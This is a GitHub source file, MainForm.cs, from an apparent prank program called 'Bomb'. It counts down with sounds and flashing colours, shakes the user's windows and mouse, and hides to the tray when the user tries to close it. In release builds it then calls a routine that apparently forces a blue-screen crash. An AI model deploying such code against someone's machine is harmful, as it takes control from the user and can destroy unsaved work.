-
Notifications
You must be signed in to change notification settings - Fork 1
/
MainForm.cs
220 lines (200 loc) · 6.49 KB
/
MainForm.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
using System;
using System.ComponentModel;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Bomb.Classes;
namespace Bomb
{
public partial class MainForm : Form
{
public int time = 20;
public MainForm()
{
InitializeComponent();
}
public MainForm(int time)
{
InitializeComponent();
this.time = time;
time_txtbox.Text = time.ToString();
activate_btn.PerformClick();
}
public bool as_dialog = false;
public MainForm(bool as_dialog)
{
InitializeComponent();
this.as_dialog = as_dialog;
}
private void time_txtbox_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == '\r')
{
activate_btn.Focus();
return;
}
if (e.KeyChar >= '0' && e.KeyChar <= '9' || e.KeyChar == '\b') return;
e.Handled = true;
}
private void activate_btn_Click(object sender, EventArgs e)
{
if (as_dialog)
{
DialogResult = DialogResult.OK;
return;
}
activate_btn.Text = "Activated";
explode2_lbl.Text = "After";
explode_lbl.Text = "Explode";
explode_lbl.Font = new Font(explode_lbl.Font.FontFamily, 17F);
time_txtbox.Visible = activate_btn.Enabled = false;
time_lbl.Visible = true;
time = int.Parse(time_txtbox.Text);
if (time < 18)
{
InvokeAction(() => SoundPlayer.PlaySound(Properties.Resources.Countdown2, Handle, time), this);
if (time <= 10) shaker.Start();
}
text_render.RunWorkerAsync();
timer1.Start();
}
private void time_txtbox_Enter(object sender, EventArgs e)
{
time_txtbox.BorderStyle = BorderStyle.Fixed3D;
time_txtbox.BackColor = SystemColors.Window;
time_txtbox.SelectAll();
}
private void time_txtbox_Leave(object sender, EventArgs e)
{
time_txtbox.BorderStyle = BorderStyle.None;
time_txtbox.BackColor = SystemColors.Control;
try
{
time_txtbox.Text = int.Parse(time_txtbox.Text).ToString().PadLeft(4, '0');
time_lbl.Text = time_txtbox.Text;
}
catch { }
}
delegate void SetTextCallBack(string text);
public static void InvokeAction(Action action, Control control)
{
if (control.InvokeRequired)
{
control.Invoke(action);
return;
}
action();
}
private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (as_dialog)
{
if (DialogResult != DialogResult.OK)
DialogResult = DialogResult.Cancel;
return;
}
Hide();
if (activate_btn.Enabled)
{
SoundPlayer.Stop("countdown");
SoundPlayer.Close("countdown");
return;
}
notifyIcon1.Visible = true;
notifyIcon1.ShowBalloonTip(5000);
e.Cancel = true;
}
private void shaker_DoWork(object sender, DoWorkEventArgs e)
{
while (true)
{
InvokeAction(() =>
{
var b = (int)time_lbl.Tag <= 5;
WindowShaker.ShakeCurrentWindows(b);
WindowShaker.ShakeMouse(b);
}, this);
}
}
private void txt_render_DoWork(object sender, DoWorkEventArgs e)
{
while (true)
{
BackColor = Color.FromArgb(204, 2, 2);
panel1.BackColor = SystemColors.Control;
Thread.Sleep(250);
BackColor = SystemColors.Control;
Thread.Sleep(250);
BackColor = Color.FromArgb(238, 210, 2);
panel1.BackColor = SystemColors.Control;
Thread.Sleep(250);
BackColor = SystemColors.Control;
Thread.Sleep(250);
}
}
protected override void DefWndProc(ref Message m)
{
base.DefWndProc(ref m);
if (m.Msg == 0x3B9)
{
var sound_player = new SoundPlayer("countdown");
sound_player.Stop();
sound_player.Close();
}
}
private void notifyIcon1_MouseClick(object sender, MouseEventArgs e)
{
Show();
notifyIcon1.Visible = false;
}
private void textBox1_KeyDown(object sender, KeyEventArgs e)
{
int.TryParse(time_txtbox.Text, out time);
}
private void timer1_Tick(object sender, EventArgs e)
{
time--;
switch (time)
{
case -1:
#if !DEBUG
Functions.BSoD();
#endif
Environment.Exit(0);
return;
case 0:
InvokeAction(() =>
{
ForeColor = Color.Red;
notifyIcon1.Text = explode_lbl.Text = "Exploded";
}, this);
break;
case 10:
InvokeAction(() => shaker.Start(), this);
break;
case 17:
InvokeAction(() => SoundPlayer.PlaySound(Properties.Resources.Countdown2, Handle), this);
break;
default:
if (time >= 17)
InvokeAction(() => SoundPlayer.PlaySound(Properties.Resources.Countdown, Handle), this);
break;
}
InvokeAction(() =>
{
time_lbl.Tag = time;
notifyIcon1.Text = (time_lbl.Text = time.ToString().PadLeft(4, '0')) + "s";
}, this);
}
private void shaker_Tick(object sender, EventArgs e)
{
InvokeAction(() =>
{
var b = (int)time_lbl.Tag <= 5;
WindowShaker.ShakeCurrentWindows(b);
WindowShaker.ShakeMouse(b);
}, this);
}
}
}